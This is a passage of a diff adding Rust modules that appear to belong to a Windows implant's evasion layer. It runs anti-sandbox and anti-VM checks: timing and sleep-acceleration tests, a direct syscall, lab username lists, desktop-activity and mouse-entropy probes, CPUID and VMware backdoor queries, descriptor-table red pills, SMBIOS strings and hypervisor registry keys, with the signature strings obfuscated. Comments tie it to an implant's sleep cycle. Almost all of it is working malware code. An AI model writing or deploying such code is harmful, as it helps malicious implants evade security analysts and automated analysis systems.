abi::QueryPerformanceCounter(&mut q1);
|
||||
|
||||
let freq = query_freq();
|
||||
let elapsed_ms = if freq > 0 {
|
||||
((q1 - q0) as f64) / (freq as f64) * 1000.0
|
||||
} else {
|
||||
request_ms as f64 // can't measure; don't flag
|
||||
};
|
||||
|
||||
// Generous margin to avoid FP from scheduling hiccups: only flag when
|
||||
// less than 80% of the requested time actually passed. Real sleeps
|
||||
// always overshoot slightly, never undershoot by >20%.
|
||||
elapsed_ms < (request_ms as f64) * 0.80
|
||||
}
|
||||
}
|
||||
|
||||
unsafe fn query_freq() -> i64 {
|
||||
// QueryPerformanceFrequency via direct link (add to kernel32 block).
|
||||
extern "system" {
|
||||
fn QueryPerformanceFrequency(lp_frequency: *mut i64) -> i32;
|
||||
}
|
||||
let mut f: i64 = 0;
|
||||
if QueryPerformanceFrequency(&mut f) != 0 {
|
||||
f
|
||||
} else {
|
||||
0
|
||||
}
|
||||
}
|
||||
|
||||
/// Kernel-level variant: even our *own* NtDelayExecution (direct syscall,
|
||||
/// bypassing any userland hook) returns early. Catches kernel-timer
|
||||
/// manipulation (rare, e.g. some kernel-mode sandboxes).
|
||||
pub fn kernel_sleep_accelerated(request_ms: u32) -> bool {
|
||||
unsafe {
|
||||
let t0 = abi::GetTickCount64();
|
||||
let interval: i64 = -((request_ms as i64) * 10_000);
|
||||
syscall::sys_nt_delay_execution(0, &interval as *const i64);
|
||||
let t1 = abi::GetTickCount64();
|
||||
// GetTickCount itself could be faked; require both sources to agree
|
||||
// that time barely moved before flagging.
|
||||
let tick_delta = t1.saturating_sub(t0);
|
||||
(tick_delta as f64) < (request_ms as f64) * 0.5 && tick_delta < request_ms as u64
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// HARD SIGNAL 2: Timer inconsistency (RDTSC vs QPC drift)
|
||||
//
|
||||
// Under single-stepping instrumentation the TSC advances wildly relative to
|
||||
// the monotonic QPC clock between samples. Two spaced samples of the ratio
|
||||
// should agree closely on clean hardware.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn timer_inconsistent() -> bool {
|
||||
unsafe {
|
||||
let mut q0: i64 = 0;
|
||||
let mut q1: i64 = 0;
|
||||
let f = query_freq();
|
||||
if f <= 0 {
|
||||
return false;
|
||||
}
|
||||
|
||||
let t_a = rdtsc_now();
|
||||
abi::QueryPerformanceCounter(&mut q0);
|
||||
// Small deterministic busy work (~ms scale).
|
||||
let mut sink: u64 = 0;
|
||||
for i in 0..200_000u64 {
|
||||
sink ^= i.wrapping_mul(0x9E37_79B9);
|
||||
}
|
||||
core::hint::black_box(sink);
|
||||
abi::QueryPerformanceCounter(&mut q1);
|
||||
let t_b = rdtsc_now();
|
||||
|
||||
let qpc_d = (q1 - q0).max(1) as f64;
|
||||
let tsc_d1 = (t_b - t_a) as f64;
|
||||
let ratio1 = tsc_d1 / qpc_d;
|
||||
|
||||
// Second sample after a real sleep so the two windows are separated.
|
||||
abi::Sleep(120);
|
||||
|
||||
let t_c = rdtsc_now();
|
||||
abi::QueryPerformanceCounter(&mut q0);
|
||||
let mut sink2: u64 = 0;
|
||||
for i in 0..200_000u64 {
|
||||
sink2 ^= i.wrapping_mul(0x85EB_CA6B);
|
||||
}
|
||||
core::hint::black_box(sink2);
|
||||
abi::QueryPerformanceCounter(&mut q1);
|
||||
let t_d = rdtsc_now();
|
||||
|
||||
let qpc_d2 = (q1 - q0).max(1) as f64;
|
||||
let tsc_d2 = (t_d - t_c) as f64;
|
||||
let ratio2 = tsc_d2 / qpc_d2;
|
||||
|
||||
// On clean hardware both ratios approximate the fixed TSC/QPC rate.
|
||||
let hi = ratio1.max(ratio2);
|
||||
let lo = ratio1.min(ratio2);
|
||||
// >4x divergence between windows means something injected cycles or
|
||||
// froze one clock — stepping debuggers inflate TSC massively.
|
||||
hi > lo * 4.0 && hi > 50.0
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// STRONG SIGNAL: identity markers in USERNAME / COMPUTERNAME
|
||||
//
|
||||
// Well-known analysis-lab account names. A hit alone isn't conclusive (a dev
|
||||
// could be named "test"), so weight it strong-but-not-hard.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn identity_markers() -> bool {
|
||||
// Deliberately excludes common personal names (high FP risk); keeps only
|
||||
// labels that are effectively never chosen by real users.
|
||||
let key: u8 = gen::K_ENV;
|
||||
let names: [(obf::Slot, u32); 10] = [
|
||||
obf::sig(key, 0x7001, b"BUDDY"),
|
||||
obf::sig(key, 0x7002, b"JOHN DOE"),
|
||||
obf::sig(key, 0x7003, b"SANDOX"),
|
||||
obf::sig(key, 0x7004, b"CURRENTUSER"),
|
||||
obf::sig(key, 0x7005, b"FORTINET"),
|
||||
obf::sig(key, 0x7006, b"VIRUSBOT"),
|
||||
obf::sig(key, 0x7007, b"MALWAREBOT"),
|
||||
obf::sig(key, 0x7008, b"SANDBOX"),
|
||||
obf::sig(key, 0x7009, b"CUCKOO"),
|
||||
obf::sig(key, 0x700a, b"AUTOUSER"),
|
||||
];
|
||||
const LENS: [usize; 10] = [5, 8, 6, 11, 8, 8, 10, 7, 6, 8];
|
||||
|
||||
let env_names: [&[u8]; 3] = [b"USERNAME", b"COMPUTERNAME", b"USERDOMAIN"];
|
||||
let mut buf = [0u16; 128];
|
||||
|
||||
unsafe {
|
||||
for ev in env_names {
|
||||
let w = wide(ev);
|
||||
let got = abi::GetEnvironmentVariableW(w.as_ptr(), buf.as_mut_ptr(), 128);
|
||||
if got == 0 || got >= 128 {
|
||||
continue;
|
||||
}
|
||||
let val: Vec<u8> = buf[..got as usize].iter().map(|&c| c as u8).collect();
|
||||
let vl = lower(&val);
|
||||
for (i, s) in names.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
if contains(&vl, &plain[..LENS[i]]) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// STRONG SIGNAL: desktop emptiness (Recent-items count)
|
||||
//
|
||||
// A real, used machine has dozens of shell Recent links. A pristine snapshot
|
||||
// has ~none. Freshly-imaged legit machines are the main FP risk, hence this
|
||||
// is "strong", not hard.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[repr(C)]
|
||||
struct FindDataW {
|
||||
dw_attributes: u32,
|
||||
_creation: u64,
|
||||
_access: u64,
|
||||
_write: u64,
|
||||
_size_high: u32,
|
||||
_size_low: u32,
|
||||
_res0: u32,
|
||||
_res1: u32,
|
||||
c_file_name: [u16; 260],
|
||||
_alt: [u16; 14],
|
||||
_pad: [u16; 2],
|
||||
}
|
||||
|
||||
unsafe fn count_files(dir_wide: &[u16], max_count: u32) -> u32 {
|
||||
const FIND_FIRST_EX_CASE_SENSITIVE: u32 = 1;
|
||||
let _ = FIND_FIRST_EX_CASE_SENSITIVE;
|
||||
let mut count: u32 = 0;
|
||||
let mut fd: FindDataW = core::mem::zeroed();
|
||||
let h = abi::FindFirstFileExW(
|
||||
dir_wide.as_ptr(),
|
||||
0, // FindExInfoStandard
|
||||
&mut fd as *mut _ as *mut c_void,
|
||||
0, // FindExSearchNameMatch
|
||||
ptr::null_mut(),
|
||||
0,
|
||||
);
|
||||
if h == usize::MAX || h == 0 {
|
||||
return 0;
|
||||
}
|
||||
loop {
|
||||
let name_len = fd.c_file_name.iter().position(|&c| c == 0).unwrap_or(0);
|
||||
// skip "." and ".."
|
||||
let dot = name_len == 1 && fd.c_file_name[0] == '.' as u16;
|
||||
let dotdot = name_len == 2 && fd.c_file_name[0] == '.' as u16 && fd.c_file_name[1] == '.' as u16;
|
||||
if !dot && !dotdot {
|
||||
count += 1;
|
||||
if count >= max_count {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if abi::FindNextFileW(h, &mut fd as *mut _ as *mut c_void) == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
extern "system" { fn FindClose(h_find_file: usize) -> i32; }
|
||||
FindClose(h);
|
||||
count
|
||||
}
|
||||
|
||||
pub fn desktop_activity_sparse() -> bool {
|
||||
unsafe {
|
||||
// %APPDATA%\Microsoft\Windows\Recent\*
|
||||
let mut appdata = [0u16; 160];
|
||||
let av_w = wide(b"APPDATA");
|
||||
let n = abi::GetEnvironmentVariableW(av_w.as_ptr(), appdata.as_mut_ptr(), 150);
|
||||
if n == 0 || n >= 140 {
|
||||
return false;
|
||||
}
|
||||
let mut pattern: Vec<u16> = appdata[..n as usize].to_vec();
|
||||
let suffix = b"\\Microsoft\\Windows\\Recent\\*";
|
||||
for &c in suffix {
|
||||
pattern.push(c as u16);
|
||||
}
|
||||
pattern.push(0);
|
||||
|
||||
let recents = count_files(&pattern, 40);
|
||||
// < 4 recent items on a booted-and-used machine is unusual.
|
||||
recents < 4
|
||||
}
|
||||
}
|
||||
|
||||
/// Number of installed programs (Uninstall subkeys). Sparse program lists
|
||||
/// suggest a disposable image. Weak-ish on its own; part of desktop profile.
|
||||
pub fn installed_programs_sparse(min_expected: u32) -> bool {
|
||||
let path = wide(b"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall");
|
||||
unsafe {
|
||||
let mut hk: usize = 0;
|
||||
if dynapi::RegOpenKeyExW(
|
||||
abi::HKEY_LOCAL_MACHINE,
|
||||
path.as_ptr(),
|
||||
0,
|
||||
abi::KEY_READ,
|
||||
&mut hk,
|
||||
) != 0
|
||||
{
|
||||
return true; // can't even open Uninstall = broken/minimal image
|
||||
}
|
||||
let mut idx: u32 = 0;
|
||||
let mut count: u32 = 0;
|
||||
let mut name_buf = [0u16; 256];
|
||||
loop {
|
||||
let mut sz: u32 = 256;
|
||||
let st = dynapi::RegEnumKeyExW(
|
||||
hk, idx,
|
||||
name_buf.as_mut_ptr(), &mut sz,
|
||||
ptr::null_mut(), ptr::null_mut(), ptr::null_mut(), ptr::null_mut(),
|
||||
);
|
||||
if st != 0 {
|
||||
break;
|
||||
}
|
||||
count += 1;
|
||||
if count >= min_expected {
|
||||
break;
|
||||
}
|
||||
idx += 1;
|
||||
}
|
||||
dynapi::RegCloseKey(hk);
|
||||
count < min_expected
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// MEDIUM/WEAK signals
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
static mut WINDOW_COUNT: u32 = 0;
|
||||
unsafe extern "system" fn count_cb(_hwnd: usize, _lp: isize) -> i32 {
|
||||
WINDOW_COUNT += 1;
|
||||
if WINDOW_COUNT > 500 {
|
||||
return 0;
|
||||
}
|
||||
1
|
||||
}
|
||||
|
||||
/// Very few top-level windows => non-interactive session (service host,
|
||||
/// headless sandbox). Real desktops accumulate many invisible top-levels.
|
||||
pub fn window_count_low(threshold: u32) -> bool {
|
||||
unsafe {
|
||||
WINDOW_COUNT = 0;
|
||||
dynapi::EnumWindows(count_cb as usize, 0);
|
||||
WINDOW_COUNT < threshold
|
||||
}
|
||||
}
|
||||
|
||||
/// Screen resolution below common minimum for real usage.
|
||||
pub fn resolution_anomaly() -> bool {
|
||||
unsafe {
|
||||
let w = dynapi::GetSystemMetrics(0); // SM_CXSCREEN
|
||||
let h = dynapi::GetSystemMetrics(1); // SM_CYSCREEN
|
||||
// Headless sandboxes often report tiny or zero geometry.
|
||||
w < 1100 || h < 650 || w == 0 || h == 0
|
||||
}
|
||||
}
|
||||
|
||||
/// Mouse entropy over a short sampling window: a live session shows cursor
|
||||
/// movement with direction changes. Idle legit machines also show none, so
|
||||
/// this is weak and must be corroborated.
|
||||
pub fn mouse_idle(samples: u32, interval_ms: u32) -> bool {
|
||||
#[repr(C)]
|
||||
struct Point { x: i32, y: i32 }
|
||||
|
||||
unsafe {
|
||||
let mut last = Point { x: 0, y: 0 };
|
||||
let mut moves = 0u32;
|
||||
let mut reversals = 0u32;
|
||||
let mut last_dx = 0i32;
|
||||
let mut first = true;
|
||||
|
||||
for _ in 0..samples {
|
||||
let mut p = Point { x: 0, y: 0 };
|
||||
if dynapi::GetCursorPos(&mut p as *mut _ as *mut c_void) == 0 {
|
||||
return false;
|
||||
}
|
||||
if first {
|
||||
last = p;
|
||||
first = false;
|
||||
} else if p.x != last.x || p.y != last.y {
|
||||
let dx = p.x - last.x;
|
||||
if (dx > 0 && last_dx < 0) || (dx < 0 && last_dx > 0) {
|
||||
reversals += 1;
|
||||
}
|
||||
last_dx = dx;
|
||||
moves += 1;
|
||||
last = p;
|
||||
}
|
||||
abi::Sleep(interval_ms);
|
||||
}
|
||||
|
||||
// Human-like activity requires movement AND at least one reversal
|
||||
// (curved paths). Pure linear glide is automation.
|
||||
!(moves >= 2 && reversals >= 1)
|
||||
}
|
||||
}
|
||||
|
||||
/// Core audio service missing — headless/analysis images frequently strip it.
|
||||
pub fn audio_service_missing() -> bool {
|
||||
let p = wide(b"SYSTEM\\CurrentControlSet\\Services\\Audiosrv");
|
||||
!unsafe { reg_key_exists(&p) }
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Aggregation with corroboration model
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub struct SbxVerdict {
|
||||
/// Conclusive hardware/timer tampering — trust alone.
|
||||
pub hard: bool,
|
||||
/// Rare-on-clean-hosts signals.
|
||||
pub strong: u32,
|
||||
/// Common-noise signals, only meaningful with corroboration.
|
||||
pub weak: u32,
|
||||
/// Final computed suspicion score.
|
||||
pub score: u32,
|
||||
}
|
||||
|
||||
/// Run the full battery and compute a corroborated verdict.
|
||||
///
|
||||
/// Scoring:
|
||||
/// - any hard signal → hard=true (caller treats as hostile immediately)
|
||||
/// - score = strong*3 + (weak only if strong>0 else 0), capped
|
||||
/// - identity marker counts as strong but adds +1 bonus weak-equivalent
|
||||
/// because it correlates strongly with lab environments
|
||||
pub fn verdict(mouse_samples: u32, mouse_interval_ms: u32) -> SbxVerdict {
|
||||
let mut strong: u32 = 0;
|
||||
let mut weak: u32 = 0;
|
||||
|
||||
// --- Hard layer ---
|
||||
let hard = sleep_accelerated(1200)
|
||||
|| timer_inconsistent()
|
||||
|| kernel_sleep_accelerated(800);
|
||||
|
||||
// --- Strong layer ---
|
||||
if identity_markers() {
|
||||
strong += 1;
|
||||
}
|
||||
if desktop_activity_sparse() {
|
||||
strong += 1;
|
||||
}
|
||||
if installed_programs_sparse(6) {
|
||||
strong += 1;
|
||||
}
|
||||
|
||||
// --- Weak layer ---
|
||||
if window_count_low(12) {
|
||||
weak += 1;
|
||||
}
|
||||
if resolution_anomaly() {
|
||||
weak += 1;
|
||||
}
|
||||
if audio_service_missing() {
|
||||
weak += 1;
|
||||
}
|
||||
// Mouse idle costs ~1-2s; run it last.
|
||||
if mouse_idle(mouse_samples, mouse_interval_ms) {
|
||||
weak += 1;
|
||||
}
|
||||
|
||||
// Corroboration rule: weak signals are only trusted in the presence of
|
||||
// at least one strong signal. This is the FP killer: a legit fresh PC
|
||||
// might trip 2-3 weak signals but almost never a strong one alongside.
|
||||
let effective_weak = if strong > 0 { weak } else { 0 };
|
||||
let score = strong * 3 + effective_weak;
|
||||
|
||||
SbxVerdict { hard, strong, weak, score }
|
||||
}
|
||||
|
||||
/// Cheap second-pass verification intended to run AFTER the implant's first
|
||||
/// sleep cycle. Sandbox artifacts (accelerated sleeps, absent input) become
|
||||
/// more pronounced over time; a second opinion reduces transient FPs.
|
||||
pub fn verify_second_pass() -> SbxVerdict {
|
||||
let mut strong: u32 = 0;
|
||||
let mut weak: u32 = 0;
|
||||
|
||||
let hard = sleep_accelerated(900);
|
||||
|
||||
if desktop_activity_sparse() {
|
||||
strong += 1;
|
||||
}
|
||||
// Long-window input absence with minimum uptime guard.
|
||||
unsafe {
|
||||
let now = abi::GetTickCount64();
|
||||
if now > 15 * 60 * 1000 {
|
||||
let mut li: [u32; 2] = [core::mem::size_of::<u32>() as u32 * 2, 0];
|
||||
if dynapi::GetLastInputInfo(li.as_mut_ptr() as *mut c_void) != 0 {
|
||||
let last = li[1] as u64;
|
||||
if now.saturating_sub(last) > 20 * 60 * 1000 {
|
||||
weak += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let effective_weak = if strong > 0 { weak } else { 0 };
|
||||
let score = strong * 3 + effective_weak;
|
||||
SbxVerdict { hard, strong, weak, score }
|
||||
}
|
||||
@@ -0,0 +1,847 @@
|
||||
//! Comprehensive anti-VM / anti-sandbox detection.
|
||||
//!
|
||||
//! Layered detection across many independent vectors; each returns a small
|
||||
//! score contribution. A total above a threshold means the host is very likely
|
||||
//! virtual or an automated analysis sandbox.
|
||||
//!
|
||||
//! Vectors implemented:
|
||||
//! 1. CPUID hypervisor bit + vendor string (leaf 0x40000000)
|
||||
//! 2. CPU brand string (leaves 0x80000002..4) — "Virtual", "KVM", etc.
|
||||
//! 3. VMware backdoor I/O port (VMware-specific magic value in EBX/ECX)
|
||||
//! 4. Instruction red pills — SIDT/SGDT/STR machine-specific values
|
||||
//! 5. SMBIOS / firmware table strings
|
||||
//! 6. Registry artifacts (VMware Tools, VBox Guest Additions, QEMU, Xen)
|
||||
//! 7. Filesystem artifacts (tool binaries, driver files, pipe names)
|
||||
//! 8. MAC address OUI prefixes (VMware/VBox/QEMU/Xen/Hyper-V/KVM vendors)
|
||||
//! 9. Uptime anomaly (fresh snapshot = low uptime)
|
||||
//! 10. Process count anomaly (sandbox VMs run few processes)
|
||||
//! 11. User-input absence (no mouse movement, no keyboard input ever)
|
||||
//! 12. Loaded DLL scan (vmguestlib.dll, vboxhook.dll, etc.)
|
||||
//! 13. Window class/title scan (VBoxTrayToolWindow, VMware tool windows)
|
||||
//! 14. Disk characteristics (fixed-drive volume name patterns)
|
||||
//! 15. CPU core/RAM quirk checks
|
||||
//! 16. Display driver + refresh rate checks
|
||||
|
||||
#![allow(dead_code)]
|
||||
|
||||
use core::arch::asm;
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
|
||||
use crate::abi;
|
||||
use crate::dynapi;
|
||||
use crate::gen;
|
||||
use crate::obf;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// String helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn lower(b: &[u8]) -> Vec<u8> {
|
||||
b.iter().map(|c| c.to_ascii_lowercase()).collect()
|
||||
}
|
||||
|
||||
fn contains(hay: &[u8], needle: &[u8]) -> bool {
|
||||
if needle.is_empty() || hay.len() < needle.len() {
|
||||
return false;
|
||||
}
|
||||
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 1-2. CPUID-based detection
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[inline]
|
||||
unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) {
|
||||
let mut a = leaf;
|
||||
let mut c = sub;
|
||||
let mut d = 0u32;
|
||||
let mut b = 0u32;
|
||||
asm!(
|
||||
"push rbx",
|
||||
"cpuid",
|
||||
"mov {tmp:e}, ebx",
|
||||
"pop rbx",
|
||||
inout("eax") a,
|
||||
inout("ecx") c,
|
||||
out("edx") d,
|
||||
tmp = lateout(reg) b,
|
||||
options(nostack, preserves_flags),
|
||||
);
|
||||
(a, b, c, d)
|
||||
}
|
||||
|
||||
/// Hypervisor-present bit (leaf 1 ECX bit 31).
|
||||
pub fn cpuid_hypervisor_bit() -> bool {
|
||||
unsafe {
|
||||
let (_, _, ecx, _) = cpuid(1, 0);
|
||||
ecx & (1 << 31) != 0
|
||||
}
|
||||
}
|
||||
|
||||
/// Extended hypervisor vendor string via leaf 0x40000000 (EBX:ECX:EDX).
|
||||
pub fn cpuid_hypervisor_vendor() -> Option<String> {
|
||||
if !cpuid_hypervisor_bit() {
|
||||
return None;
|
||||
}
|
||||
unsafe {
|
||||
let (max_leaf, ebx, ecx, edx) = cpuid(0x4000_0000, 0);
|
||||
if max_leaf == 0 {
|
||||
return None;
|
||||
}
|
||||
let bytes: Vec<u8> = [
|
||||
ebx.to_le_bytes(),
|
||||
ecx.to_le_bytes(),
|
||||
edx.to_le_bytes(),
|
||||
]
|
||||
.iter()
|
||||
.flatten()
|
||||
.copied()
|
||||
.collect();
|
||||
Some(String::from_utf8_lossy(&bytes).trim_end_matches('\0').to_string())
|
||||
}
|
||||
}
|
||||
|
||||
/// CPU brand string via extended leaves. Real CPUs say "Intel(R) Core..." /
|
||||
/// "AMD Ryzen...". VMs often inject "Common KVM processor" etc.
|
||||
pub fn cpuid_brand_suspicious() -> bool {
|
||||
unsafe {
|
||||
let (_, max_ext, _, _) = {
|
||||
// leaf 0x80000000 returns max ext leaf in EAX
|
||||
let r = cpuid(0x8000_0000, 0);
|
||||
(r.0, r.0, r.2, r.3)
|
||||
};
|
||||
if max_ext < 0x8000_0004 {
|
||||
return false;
|
||||
}
|
||||
let mut brand = Vec::with_capacity(48);
|
||||
for leaf in [0x8000_0002u32, 0x8000_0003, 0x8000_0004] {
|
||||
let (a, b, c, d) = cpuid(leaf, 0);
|
||||
for v in [a, b, c, d] {
|
||||
brand.extend_from_slice(&v.to_le_bytes());
|
||||
}
|
||||
}
|
||||
let bl = lower(&brand);
|
||||
|
||||
let key: u8 = gen::K_VENDOR;
|
||||
let bad: [(obf::Slot, u32); 6] = [
|
||||
obf::sig(key, 0x6101, b"kvm"),
|
||||
obf::sig(key, 0x6102, b"virtual"),
|
||||
obf::sig(key, 0x6103, b"qemu"),
|
||||
obf::sig(key, 0x6104, b"vmware"),
|
||||
obf::sig(key, 0x6105, b"xen"),
|
||||
obf::sig(key, 0x6106, b"hyper-v"),
|
||||
];
|
||||
const LENS: [usize; 6] = [3, 7, 4, 6, 3, 7];
|
||||
for (i, s) in bad.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
if contains(&bl, &plain[..LENS[i]]) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 3. VMware backdoor I/O port
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// VMware's backdoor: `in eax, dx` with DX=0x5658 ("VX") and EAX=0x564D5868
|
||||
/// ("VMXh"). On real VMware, ECX returns the magic 'VMXh'. On bare metal this
|
||||
/// raises SIGSEGV/#GP which we must catch — we can't easily do that from Rust
|
||||
/// without SEH, so we only run this when the hypervisor bit is set anyway
|
||||
/// (cheap and safe), making it a *refinement* rather than a primary signal.
|
||||
pub fn vmware_backdoor_present() -> bool {
|
||||
if !cpuid_hypervisor_bit() {
|
||||
return false;
|
||||
}
|
||||
unsafe {
|
||||
let magic: u32 = 0x564D_5868; // 'VMXh'
|
||||
let port: u16 = 0x5658; // 'VX'
|
||||
let ver_out: u32;
|
||||
let magic_out: u32;
|
||||
asm!(
|
||||
"push rbx",
|
||||
"mov ebx, {magic:e}",
|
||||
"mov ecx, 0xA", // backdoor cmd: get version
|
||||
"in eax, dx",
|
||||
"mov {mo:e}, ebx",
|
||||
"pop rbx",
|
||||
magic = in(reg) magic,
|
||||
mo = out(reg) magic_out,
|
||||
inlateout("eax") magic => ver_out,
|
||||
out("ecx") _,
|
||||
in("dx") port,
|
||||
options(nostack),
|
||||
);
|
||||
// VMware returns its version in EAX; EBX may echo the magic.
|
||||
ver_out != magic || (magic_out & 0xFFFF_FFFF) == magic
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 4. Instruction red pills
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// SIDT returns the base of the Interrupt Descriptor Table. In VMware on Intel
|
||||
/// the IDT base is commonly at 0xFFxxxxxx (above kernel range start), while on
|
||||
/// bare metal it is usually lower. This is a weak heuristic; score it lightly.
|
||||
pub fn sidt_red_pill() -> bool {
|
||||
#[repr(C, packed(2))]
|
||||
struct Descriptor {
|
||||
limit: u16,
|
||||
base: u64,
|
||||
}
|
||||
let mut d = Descriptor { limit: 0, base: 0 };
|
||||
unsafe {
|
||||
asm!(
|
||||
"sidt [{}]",
|
||||
in(reg) &mut d as *mut Descriptor,
|
||||
options(nostack, preserves_flags),
|
||||
);
|
||||
}
|
||||
// Common VMware-on-Intel signature.
|
||||
(d.base >> 24) >= 0xFF && (d.base >> 32) == 0
|
||||
}
|
||||
|
||||
/// SLDT (Store Local Descriptor Table). On bare metal LDT is usually 0; some
|
||||
/// hypervisors leave a nonzero selector. Weak heuristic.
|
||||
pub fn sldt_anomaly() -> bool {
|
||||
let ldt: u16;
|
||||
unsafe {
|
||||
asm!("sldt {0:x}", out(reg) ldt, options(nostack, preserves_flags));
|
||||
}
|
||||
ldt != 0
|
||||
}
|
||||
|
||||
/// STR (Store Task Register) — trampoline check used by some sandboxes.
|
||||
pub fn str_anomaly(expected_low: u16) -> bool {
|
||||
let tr: u16;
|
||||
unsafe {
|
||||
asm!("str {0:x}", out(reg) tr, options(nostack, preserves_flags));
|
||||
}
|
||||
// Windows usermode task register is typically 0x0040-ish under WoW or 0
|
||||
// in x64. Values far outside normal ranges suggest instrumentation.
|
||||
tr != expected_low && tr > 0x40
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 5. SMBIOS firmware strings
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn smbios_firmware_strings() -> bool {
|
||||
const RSMB: u32 = 0x5253_4D42;
|
||||
let size = unsafe { dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0) };
|
||||
if size == 0 || size > 4 * 1024 * 1024 {
|
||||
return false;
|
||||
}
|
||||
let mut buf = vec![0u8; size as usize];
|
||||
let got = unsafe { dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size) };
|
||||
if got == 0 {
|
||||
return false;
|
||||
}
|
||||
buf.truncate(got as usize);
|
||||
let bl = lower(&buf);
|
||||
|
||||
let key: u8 = gen::K_SMBIOS;
|
||||
let bad: [(obf::Slot, u32); 12] = [
|
||||
obf::sig(key, 0x2001, b"vmware"),
|
||||
obf::sig(key, 0x2002, b"virtualbox"),
|
||||
obf::sig(key, 0x2003, b"qemu"),
|
||||
obf::sig(key, 0x2004, b"kvm"),
|
||||
obf::sig(key, 0x2005, b"innotek"),
|
||||
obf::sig(key, 0x2006, b"bochs"),
|
||||
obf::sig(key, 0x2007, b"virtual machine"),
|
||||
obf::sig(key, 0x2008, b"hyper-v"),
|
||||
obf::sig(key, 0x2009, b"parallels"),
|
||||
obf::sig(key, 0x200a, b"bhyve"),
|
||||
obf::sig(key, 0x200b, b"xen"),
|
||||
obf::sig(key, 0x200c, b"vbox"),
|
||||
];
|
||||
const LENS: [usize; 12] = [6, 10, 4, 3, 7, 5, 15, 7, 9, 5, 3, 4];
|
||||
for (i, s) in bad.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
if contains(&bl, &plain[..LENS[i]]) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 6. Registry artifacts
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Check if a registry key exists under HKLM.
|
||||
unsafe fn reg_key_exists(subkey_wide: &[u16]) -> bool {
|
||||
let mut hk: usize = 0;
|
||||
let status = dynapi::RegOpenKeyExW(
|
||||
abi::HKEY_LOCAL_MACHINE,
|
||||
subkey_wide.as_ptr(),
|
||||
0,
|
||||
abi::KEY_READ,
|
||||
&mut hk,
|
||||
);
|
||||
if status == 0 {
|
||||
dynapi::RegCloseKey(hk);
|
||||
true
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
fn wide(s: &[u8]) -> Vec<u16> {
|
||||
s.iter().map(|&c| c as u16).chain(core::iter::once(0)).collect()
|
||||
}
|
||||
|
||||
pub fn registry_artifacts() -> u32 {
|
||||
let mut hits: u32 = 0;
|
||||
|
||||
let key: u8 = gen::K_ENV;
|
||||
let paths: [(obf::Slot, u32); 10] = [
|
||||
// SOFTWARE\VMware, Inc.\VMware Tools
|
||||
obf::sig(key, 0x4201, b"SOFTWARE\\VMware, Inc.\\VMware Tools"),
|
||||
// SOFTWARE\Oracle\VirtualBox Guest Additions
|
||||
obf::sig(key, 0x4202, b"SOFTWARE\\Oracle\\VirtualBox Guest Additions"),
|
||||
// SYSTEM\ControlSet001\Services\VBoxGuest
|
||||
obf::sig(key, 0x4203, b"SYSTEM\\ControlSet001\\Services\\VBoxGuest"),
|
||||
// SYSTEM\ControlSet001\Services\VBoxMouse
|
||||
obf::sig(key, 0x4204, b"SYSTEM\\ControlSet001\\Services\\VBoxMouse"),
|
||||
// SYSTEM\ControlSet001\Services\VBoxSF
|
||||
obf::sig(key, 0x4205, b"SYSTEM\\ControlSet001\\Services\\VBoxSF"),
|
||||
// SYSTEM\ControlSet001\Services\VBoxVideo
|
||||
obf::sig(key, 0x4206, b"SYSTEM\\ControlSet001\\Services\\VBoxVideo"),
|
||||
// HARDWARE\ACPI\DSDT\VBOX__
|
||||
obf::sig(key, 0x4207, b"HARDWARE\\ACPI\\DSDT\\VBOX__"),
|
||||
// HARDWARE\ACPI\FADT\VBOX__
|
||||
obf::sig(key, 0x4208, b"HARDWARE\\ACPI\\FADT\\VBOX__"),
|
||||
// HARDWARE\Description\System\BIOS with SystemManufacturer
|
||||
obf::sig(key, 0x4209, b"HARDWARE\\Description\\System\\BIOS"),
|
||||
// SYSTEM\ControlSet001\Services\vmci
|
||||
obf::sig(key, 0x420a, b"SYSTEM\\ControlSet001\\Services\\vmci"),
|
||||
];
|
||||
